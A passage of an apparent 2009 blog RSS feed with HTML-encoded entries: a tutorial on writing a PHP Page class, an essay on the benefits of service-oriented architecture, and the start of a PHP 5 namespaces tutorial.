&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;DisplayKeywords&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;\n&amp;lt;/HEAD&amp;gt;\n&amp;lt;BODY&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Content&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;\n&amp;lt;/BODY&amp;gt;\n&amp;lt;/HTML&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;DisplayTitle&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;)&amp;nbsp;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;&amp;lt;TITLE&amp;gt;&amp;quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Title&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;&amp;lt;/TITLE&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;DisplayKeywords&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;)&amp;nbsp;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;'&amp;lt;META NAME=&amp;quot;keywords&amp;quot; CONTENT=&amp;quot;'&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Keywords&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;'&amp;quot;&amp;gt;'&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt; &amp;nbsp;&amp;nbsp;function&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;SetContent&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Data&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;)&amp;nbsp;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Content&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Data&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;p&gt;Now, at first glance this looks pretty simple. And you know what? It is. Its just basic PHP code wrapped into a class. Let me point a few things out before we go any farther though.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;VAR &lt;/strong&gt;-&lt;br /&gt;
&amp;nbsp;All variables declared in the class must be placed at the top of the class structure, and preceeded with the VAR statement.&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;$THIS &lt;/strong&gt;-&lt;br /&gt;
&amp;nbsp;$this is a variable that incidates the current object. That way, the object knows how to find itself while running functions contained within it.&amp;nbsp;&lt;br /&gt;
&amp;nbsp;For instance, $this-&amp;gt;Keywords gets the data from the $Keywords variable in the object. You'll also notice that when using variables contained&amp;nbsp;&lt;br /&gt;
&amp;nbsp;within a class, you can't use the $ to reference them - But you have to use it to reference the object itself.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
Lets save this class file out before we continue. If your following along, save it out as page.class for now. You'll need it for the example coming up. &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a name=&quot;part3&quot;&gt;Using the Class&lt;o:p&gt;&lt;/o:p&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now that we have a class created, lets try using it in a normal script.&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;include&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;page.class&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Sample&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Page&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Content&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;&amp;lt;P&amp;gt;This page was generated by the Page Class example.&amp;lt;/P&amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Sample&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Title&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;Using Classes in PHP&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Sample&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Keywords&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;PHP, Classes&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Sample&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;SetContent&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Content&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Sample&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Display&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;</description>
								         <pubDate>Sun, 05 Jul 2009 11:25:49 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/31/Writing-Class-in-PHP</guid>
								      </item>								      <item>
								         <title>The Benefits of a Service-Oriented Architecture</title>
								         <link>http://www.nileshpawar.com/30/The-Benefits-of-a-Service-Oriented-Architecture</link>
								         <description>A service-oriented architecture has services that developers create in a service layer. The services that they develop have published interfaces. These interfaces support a distinct business domain. Organizations that focus their development effort around the creation of services, will realize many benefits. The most common scenario for development organizations is to have some experience with component-based development. The use of application servers such as J2EE or .NET for hosting applications is becoming more common. If your organization is using component-based development practices and application servers for business logic, then you are already service-oriented. By following the service-oriented mind set with even more rigor, combined with the component-based approach to software development, your organization will realize many benefits.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Focused Developer Roles&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
A service-oriented architecture will force an application to have multiple layers. Each layer has a set of specific roles for developers. For instance, the service layer needs developers that have experience in data formats, business logic, persistence mechanisms, transaction control, etc. A client developer needs to know technologies such as SWING, JSP or MFC. Each layer requires a complex set of skills. To the extent that developers can specialize, they will excel at their craft in a particular layer of the application. Companies will also benefit by not having to rely on highly experienced generalists for application development. They may use less experienced developers for focused development efforts.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Better Return on Investment&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
The creation of a robust service layer has the benefit of a better return on the investment made in the creation of the software. Services map to distinct business domains. For example, a company might create an inventory service that has all of the methods necessary to manage the inventory for the company. By putting the logic into a separate layer, the layer can exist well beyond the lifetime of any system it is composed into. For example, if your organization needs to create a credit card authorization service, there are basically two options. Developers will either develop the functionality as part of the application that needs it, or they will develop it as a separate component. If credit card authorization is developed as a separate component and used as a service, then it is likely to outlive the original application.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;More Security&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
The creation of a service layer by definition means that developers have created an additional network interface that can be used by multiple applications. When systems were built using monolithic or client-server methods, security was normally handled on the front-end. Companies often did not even implement database security because it is too hard to maintain multiple security lists. Services on the other hand are used by multiple applications, so they have their own security mechanisms. An application will therefore have multi-level authentication at both the client level and at the service level.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Better Testing/Fewer Defects&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
Services have published interfaces [1] that can be tested easily by developers by writing unit tests. Developers can use tools such as JUnit for creating test suites. These test suites can be run to validate the service independently from any application that uses the service. It is also a good practice to run the unit tests during an automated build process. There is no reason for a QA tester to test an application if the unit tests did not complete successfully. More and better testing usually means fewer defects and a higher overall level of quality.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Support for Multiple Client Types&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
As a benefit of a service-oriented architecture, companies may use multiple clients and multiple client types to access a service. A PDA using J2ME may access a service via HTTP, and a SWING client may access the same service via RMI. Since the layers are split into client and service layers, different client types are easier to implement.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Higher Availability&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
Also because of location transparency, multiple servers may have multiple instances of a service running on them. If a network segment or a machine goes down, a dispatcher can redirect requests to another service without the client's knowledge.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Service Assembly&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
The services that developers create will evolve into a catalog of reusable services. Customers will come to understand this catalog as a set of reusable assets that can be combined in ways not conceived by their originators. Everyone will benefit from new applications being developed more quickly as a result of this catalog of reusable services.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Code Mobility&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
Since location transparency is a property of a service-oriented architecture, code mobility becomes a reality. The lookup and dynamic binding to a service means that the client does not care where the service is located. Therefore, an organization has the flexibility to move services to different machines, or to move a service to an external provider.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Better Maintainability&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
Software archeology [2] is the task of locating and correcting defects in code. By focusing on the service layer as the location for your business logic, maintainability increases because developers can more easily locate and correct defects.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;More Reuse&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
Code reuse has been the most talked about form of reuse over the last four decades of software development. Unfortunately, it is hard to achieve due to language and platform incompatibilies. Component or service reuse is much easier to achieve. Run-time service reuse is as easy as finding a service in the directory, and binding to it. The developer does not have to worry about compiler versions, platforms, and other incompatibilities that make code reuse difficult.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Better Parallelism in Development&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
The benefit of multiple layers means that multiple developers can work on those layers independently. Developers should create interface contracts at the start of a project and be able to create their parts independently of one another.
&lt;br&gt;&lt;br&gt;
&lt;B&gt;Better Scalability&lt;/B&gt;
&lt;br&gt;&lt;br&gt;
One of the requirements of a service-oriented architecture is location transparency. To achieve location transparency, applications lookup services in a directory and bind to them dynamically at run-time. This feature promotes scalability since a load-balancer may forward requests to multiple service instances without the knowledge of the service client.</description>
								         <pubDate>Wed, 24 Jun 2009 21:00:02 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/30/The-Benefits-of-a-Service-Oriented-Architecture</guid>
								      </item>								      <item>
								         <title>Using Namespaces in PHP 5</title>
								         <link>http://www.nileshpawar.com/29/Using-Namespaces-in-PHP-5</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 11&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 11&quot; name=&quot;Originator&quot; /&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\ABC\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:PunctuationKerning /&gt;
&lt;w:ValidateAgainstSchemas /&gt;
&lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
&lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
&lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;w:DontGrowAutofit /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:LatentStyles DefLockedState=&quot;false&quot; LatentStyleCount=&quot;156&quot;&gt;
&lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
p.codesample, li.codesample, div.codesample
	{mso-style-name:codesample;
	mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;
mso-ansi-language:#0400;
mso-fareast-language:#0400;
mso-bidi-language:#0400;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;If you're an experienced PHP developer, then you'll surely know that building web applications using the object-oriented paradigm can be a pretty challenging process, at least in the beginning. However, as you master the key concepts that surround the use of this approach, working with classes and objects becomes so familiar that you can start quickly developing more complex PHP programs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;While the learning process looks very educational and even fun,&amp;nbsp;the truth is that things can get more complicated when you begin using third-party classes or even entire development frameworks. For instance, say that you've created a neat database abstraction class, called &amp;quot;MySQL,&amp;quot; which handles all of your database-related tasks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;So far, this class isn't&amp;nbsp;conflictive, right? But, this scenario may change for the worse&amp;nbsp;if you decide to use a forum application created by another programmer, which also includes a class named &amp;quot;MySQL.&amp;quot; Whenever you try to use the forum's classes and yours together, it's possible that the&amp;nbsp;PHP interpreter will complain loudly&amp;nbsp;when it finds that you're attempting to use two classes that share the same name!&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Of course, you can solve this problem by renaming one of the conflictive classes, but sometimes this process can be a true nightmare, or simply a nonviable solution. Nonetheless, not all is lost in this case, because with the release of PHP 5.3, this problem could be easily solved by way of namespaces.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;In simple terms, by using this feature it's possible to specify that one or more PHP classes must belong to a certain namespace, which should avoid a naming conflict between classes like the one described above. In this particular case, you might specify that your MySQL class is valid within a namespace called &amp;quot;general,&amp;quot; while the forum's class would be available in a &amp;quot;forum&amp;quot; namespace.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Understanding how namespaces work in PHP 5 naturally requires much more than simple theory. Therefore, in this group of articles, I'll be developing for you several code samples, which hopefully will help you learn how to use this helpful feature within your forthcoming PHP applications.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Now it's&amp;nbsp;time to move past the preliminaries and start digging deeper into the use of namespaces in PHP 5. Let's begin this educational journey now!&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;A good way to start explaining how to utilize namespaces with PHP 5 consists of recreating a simple - yet potentially real -- situation, where the name of a given class can be shared by another. In this&amp;nbsp;case, suppose that there's a class called &amp;quot;User&amp;quot; which stores&amp;nbsp;common user-supplied data, such as first and last names, as well as the corresponding email addresses.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;The prototypical signature of a class like the one described above would look like this: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;// define 'User' class&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;class User{&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function __construct($firstName,$lastName,$email){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$firstName||strlen($firstName)&amp;gt;32){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid First Name parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$lastName||strlen($lastName)&amp;gt;32){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
